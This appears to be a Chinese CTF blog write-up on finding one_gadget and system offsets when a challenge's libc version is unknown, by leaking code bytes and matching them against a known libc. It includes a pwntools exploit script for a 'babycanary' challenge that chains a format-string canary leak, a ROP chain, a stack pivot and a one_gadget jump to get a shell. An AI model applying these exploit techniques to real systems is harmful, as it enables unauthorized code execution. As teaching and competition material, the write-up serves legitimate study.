【pwn】未知libc版本利用的一个蠢方法

CTF pwn中利用pwntools加载不同版本libc调试程序的方法 在网上找到了很多加载libc的帖子,终于自己走通了一次,现在把方法和资源都整理一下 一、解决方案 python利用pwntools的代码 from pwn import * import pwnlib context(os='linux',arch='amd64',log_level='debug') if __name__ == '__main__': conn = process(['./ld-2.23.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.2 阅读详情

前几天看了一道题,题目本身还是比较常规的,这题的预期解法是通过_dl_runtime_resolve来做的。但我就是想用栈溢出+栈迁移碰一碰,整了半天就差onegadget地址了,查了一下libc search发现找不到对应的版本,可能出题人就是想用一个比较偏的libc版本把这条路封死,但我最后还是硬怼出来了。以后如果遇到了数据库中找不到对应的libc版本的时候可以尝试一下这种方法(当然ctf题中一般不会出个很偏的libc版本)。

条件:1.libc中的一个任意地址(通过泄露got表就可得到)。2.可以通过rop进行任意地址泄露。
想法很简单,因为libc不同版本之间的差异并不会很大,粗粒度地无非是增删一些函数,细粒度地对函数内的基本块进行微调。造成的影响也只是偏移不同,并且不同函数在libc不同版本中的相对位置也是差不多的。那么首先就可以通过任意地址泄露去泄露libc中的任意一个地址,根据输出的内容可以进行大致的判断,比如这个地址是数据段,还是代码段。如果是数据段,那么这个地址偏大,就往小里调继续泄露,直到代码段为止。如果是代码段,那么输出的就是16进制机器码。这时我们可以在一个已知的libc中匹配有输出的指令的地方。

from pwn import *
libc=ELF('./libc-2.31.so')
#s='\x35\x0a'
s='\x31\xd2\xbf\x03'
p=list(libc.search(s))
print([hex(i) for i in p])

然后去已知libc中定位这个位置(不会匹配到很多),就可以知道当前这个地址是什么函数的什么位置,然后和目标函数(system,onegadget)的位置进行比较,高了还是低了,并对地址进行调整,继续进行泄露。然后不断地进行二分法查找,运气好的话很快就能定位到目标函数,进而微调就可以了。

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#io=process('./babycanary')
ELF('./babycanary')
io.recvuntil('% ^ & * :')
io.send('%9$p')
io.recvuntil('0x')
canary=int(io.recv(16),16)
print(hex(canary))
bss=0x6011A0
pop_rdi=0x400963
sleep_got=0x00601050
puts_plt=0x04005F0
puts_got=0x601018

rop='a'*0x100+p64(canary)+p64(0x6011d0+0x30)+p64(pop_rdi)+p64(sleep_got)+p64(puts_plt)+p64(0x00400822)+p64(0x400852)*8+p64(0x6011d0)
io.sendafter('s 5 0 n g :',rop)
pl='a'*0x28+p64(canary)+p64(bss+8)
#gdb.attach(io)
io.sendafter('s h 0 m e :',pl)
sleep_add=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(sleep_add))
sh=sleep_add+0xaa000+0x2a95+0x10
one_gadget=sh-0x161C19+0x40000-0x3114+0x48e+14+7+7+13+7+14+0x46

'''泄露加调整(这里可以把上面本地libc匹配的代码整合在一起)
pl2=p64(0x6011d0)+p64(pop_rdi)+p64(one_gadget)+p64(puts_plt)+'a'*0x8+p64(canary)+p64(0x6011d0)
io.recvline()
k=io.recvline()
print(k)
print([hex(ord(i)) for i in k])
'''
io.send(pl2)
pl2=p64(0x6011d0)+p64(one_gadget)+p64(one_gadget)+p64(puts_plt)+'a'*0x8+p64(canary)+p64(0x6011d0)
io.interactive()

sh=sleep_add+0xaa000+0x2a95+0x10
one_gadget=sh-0x161C19+0x40000-0x3114+0x48e+14+7+7+13+7+14+0x46
这是我进行调整的痕迹,也没有调很多次是吧(:

ps:其实人工调挺不优雅的,有空可以整个自动化的工具。

ubuntu nVidia Docker环境下升级ld-2.31.so, libc-2.31.so, libpthread-2.31.so 解决GLIBC_2.28找不到问题 阅读详情

相关推荐

PWN 更换目标程序libc

网上这方面我感觉还是比较少的,在这里把我的方法拿出来防止大家踩坑。 这一块知识不大懂的推荐去看《程序员的自我修养》第八章共享库那一章节。 我们换libc的原因是在调试程序的时候我们本地的libc可能跟远程计算机上的libc不一样,不是可能,基本上都不一样,那么我们程序加载libc之后里面的一些函数的偏移地址就会跟我们想的不一样,从而导致脚本不停出错。那么就需要我们去把程序所链接的libc从本地libc更换成远程服务器上的libc。 原理简单的说就是用patchelf把程序依赖libc的那个软连接改一下,或者

yongbaoii的博客 5632

ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用

ROP;Ret2libc; CTF-pwn题writeup;pwntools,one_gadget解题 pwn1 逆向代码 // IDA 7.5 int __cdecl main(int argc, const char **argv, const char **envp) { char buf[48]; // [rsp+0h] [rbp-30h] BYREF init(); puts("Show me your code :D"); gets(buf, argv); return 0

CHERRY_cong的博客 918

[pwn]ROP:信息泄露获取libc版本和地址

文章目录通过信息泄露获取libc版本和地址DynELF模块介绍pwn200 writeuppwn100 writeup 通过信息泄露获取libc版本和地址 有一些pwn题目中我们可以找到很明显的溢出,但程序中并没有system函数,也没有给出libc版本。但我们可以通过反复的溢出打印一些内存的值来在内存中搜索system的地址,这里主要使用的工具是pwntools中的D以内ELF模块。 DynEL...

Breeze的博客 1万+

house of botcake利用模板+爆破stdout泄露地址 glibc2.31

【代码】house of botcake利用模板+爆破stdout泄露地址。

FUCKING12的博客 351

PWN入门之libc表

这次的实验的前提的我们不知道system和bin/sh的函数,然后通过泄露某个函数在libc表中的地址,再加上这几个函数的偏移量来计算system和bin/sh的地址,最后将这个地址覆盖到ret上,以便能跳至我们想要的函数,最终获得shellcode 我们还是以pwn举例 1、 ...

weixin_44681716的博客 2994

LibcSearcher安装与实战:快速定位Pwn题libc版本

在二进制安全与CTF竞赛中,动态链接库(libc)的版本识别是漏洞利用的关键环节。其核心原理在于通过泄露的函数地址,结合libc内部符号的固定偏移关系,反向推导出具体的libc版本。这一技术能显著提升漏洞利用的自动化程度与可靠性,尤其在堆利用和ROP链构造等场景中至关重要。LibcSearcher作为一款高效的Python库,通过本地数据库匹配机制,实现了这一过程的自动化。它解决了手动查询效率低下、易出错的问题,广泛应用于CTF Pwn题和二进制安全研究。本文将详细介绍其安装方法,特别是针对Python3环

weixin_33736649的博客 414

【PWN学习】如何获取libc基址

在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。

Morphy_Amo的博客 1万+

CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别

做了一道题目,它提供了 libc文件; 这道题 可以使用 libc-2.23.so文件 来 解出来, 也可以不使用; 当使用 libc2.23.so文件时 EXp为 from pwn import * p = remote("node3.buuoj.cn",29829) libc=ELF('libc-2.23.so') elf = ELF('./pwn1') write_plt = elf.plt['write'] write_got = elf.got['write'] main = 0x0804

半岛铁盒的博客 6275

★pwn 更改pwn题libc保姆级教程★

现在市面上有很多关于改libc的教程,但是基本有以下几个问题:没有符号表、错误、过时、繁琐、高版本不适用。于是我找了一种最简单并且全libc通用的方法。现分享如下。

YX-hueimie 5932

PWN-无libc泄露

pwn题的无libc泄露用到的pwntools的DynELF模块实现条件是:有指向libc空间的 能泄露libc空间信息的函数 (write和puts函数)能重复触发漏洞DynELF模块的基本框架:p=process('./xxx')def leak(address):    payload='xxx'+address+'xxx'  #address就是你要泄露的地址 ,payload是你控制程序...

zszcr的博客 4110

LibcSearcher安装与实战:快速定位CTF Pwn题libc版本

在二进制安全与CTF竞赛中,动态链接库(libc)是程序运行的核心组件,其版本差异直接影响函数偏移量。通过理解libc的加载原理与内存布局,安全研究人员能够利用信息泄露漏洞获取函数地址,进而计算基址。传统手动匹配版本的方法效率低下,而自动化工具通过构建指纹数据库,将多函数偏移组合作为查询条件,实现了快速精准的版本识别。这一技术显著提升了漏洞利用脚本的通用性与开发效率,尤其在堆利用与ROP链构造场景中价值突出。本文聚焦LibcSearcher这一热门工具,针对Python3环境下的安装难题,提供从依赖配置、数

weixin_34122604的博客 410

pwn 查看陌生libc的版本

我们经常在做一些pwn题的时候需要知道它的libc版本 因为不同的版本会有不同的影响,libc-2.24之后vtable多了检查,libc-2.27之后多了tcache。 那么题目给一个陌生的libc怎么知道它对应的版本? 拖到IDA里面。然后在字符串窗口搜索GNU就好了。 ...

yongbaoii的博客 2142

pwn技巧之ret to libc

简介 在0day攻击当中有许多的技巧,这次介绍一种常用的攻击手段。ret to libc与栈溢出,堆溢出之类的漏洞利用技巧有所不同。ret to libc是一种在漏洞攻击中的常用的思路。目的是最大化利用所发现的漏洞,实现我们最终的目标get shell 首先,我们来认识一个c语言的库函数 int system(const char * string); 这个函数的的功能很简单,执行...

这里没人 2629

Pwndocker常见问题解决:libc版本兼容性与依赖库问题排查

在CTF竞赛中,Pwndocker作为一款专业的Docker环境工具,为漏洞利用(Pwn)提供了便捷的开发与测试平台。本文将针对新手用户在使用过程中最常遇到的libc版本兼容性与依赖库问题,提供实用的解决方案与排查技巧,帮助你快速搭建稳定的Pwn环境。 ## 一、libc版本不匹配?从根源解决兼容性问题 ### 1.1 理解libc版本冲突的表现 当运行Pwn程序时出现`version GLI

gitblog_00854的博客 998

CTF PWN中利用Python ctypes预测libc rand()随机数的实战指南

在计算机安全与逆向工程领域,伪随机数生成(PRNG)是许多系统的基础组件,其核心原理在于通过确定性算法生成看似随机的数字序列。线性同余生成器(LCG)等经典算法因其状态可预测性,常成为安全研究的焦点。理解libc库中rand()与srand()的实现机制,尤其是现代glibc采用的加法反馈移位寄存器,对于漏洞利用和CTF竞赛具有重要技术价值。通过Python的ctypes模块,安全研究人员可以直接调用动态链接库中的C函数,在本地复现目标程序的运行时环境,从而实现随机数序列的精准预测。这一方法在CTF PWN

weixin_33850015的博客 539

深入探索libc数据库在CTF与Pwn中的应用

libc是UNIX和类UNIX操作系统(如Linux)中,标准C库的简称。它是操作系统与应用程序之间进行交互的桥梁,提供了系统调用的封装和高级语言功能的实现。libc对于程序员来说是不可见的,但其功能的实现对于系统的正常运行至关重要。libc是C语言的标准库的简称,它提供了一系列底层的操作系统接口和函数调用,几乎所有的UNIX和类UNIX系统的程序都会依赖于libc来执行常见的操作,比如内存管理、文件操作、网络通信等。

weixin_29009401的博客 882

PWN45、PWN46:Ret2libc中利用write泄露libc地址

在这两道题目中,泄露的核心思路是先通过 ROP 调用write函数,把 GOT 表中某个函数对应的真实运行时地址输出出来,从而绕过 ASLR;因为程序本体中的 GOT 表项保存的是该函数在 libc 中的实际地址,所以拿到泄露值后,就可以用libc_base=leak-libc.sym[func]计算出 libc 基址,进一步得到system和'/bin/sh'等关键符号地址,最后构造第二阶段 ROP 链执行system('/bin/sh')获取 shell。

2501_93140863的博客 213

libc-2.31.so

用于分析ELF文件格式

上一篇: 【pwn】WMCTF2020 cfgo-CheckIn
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值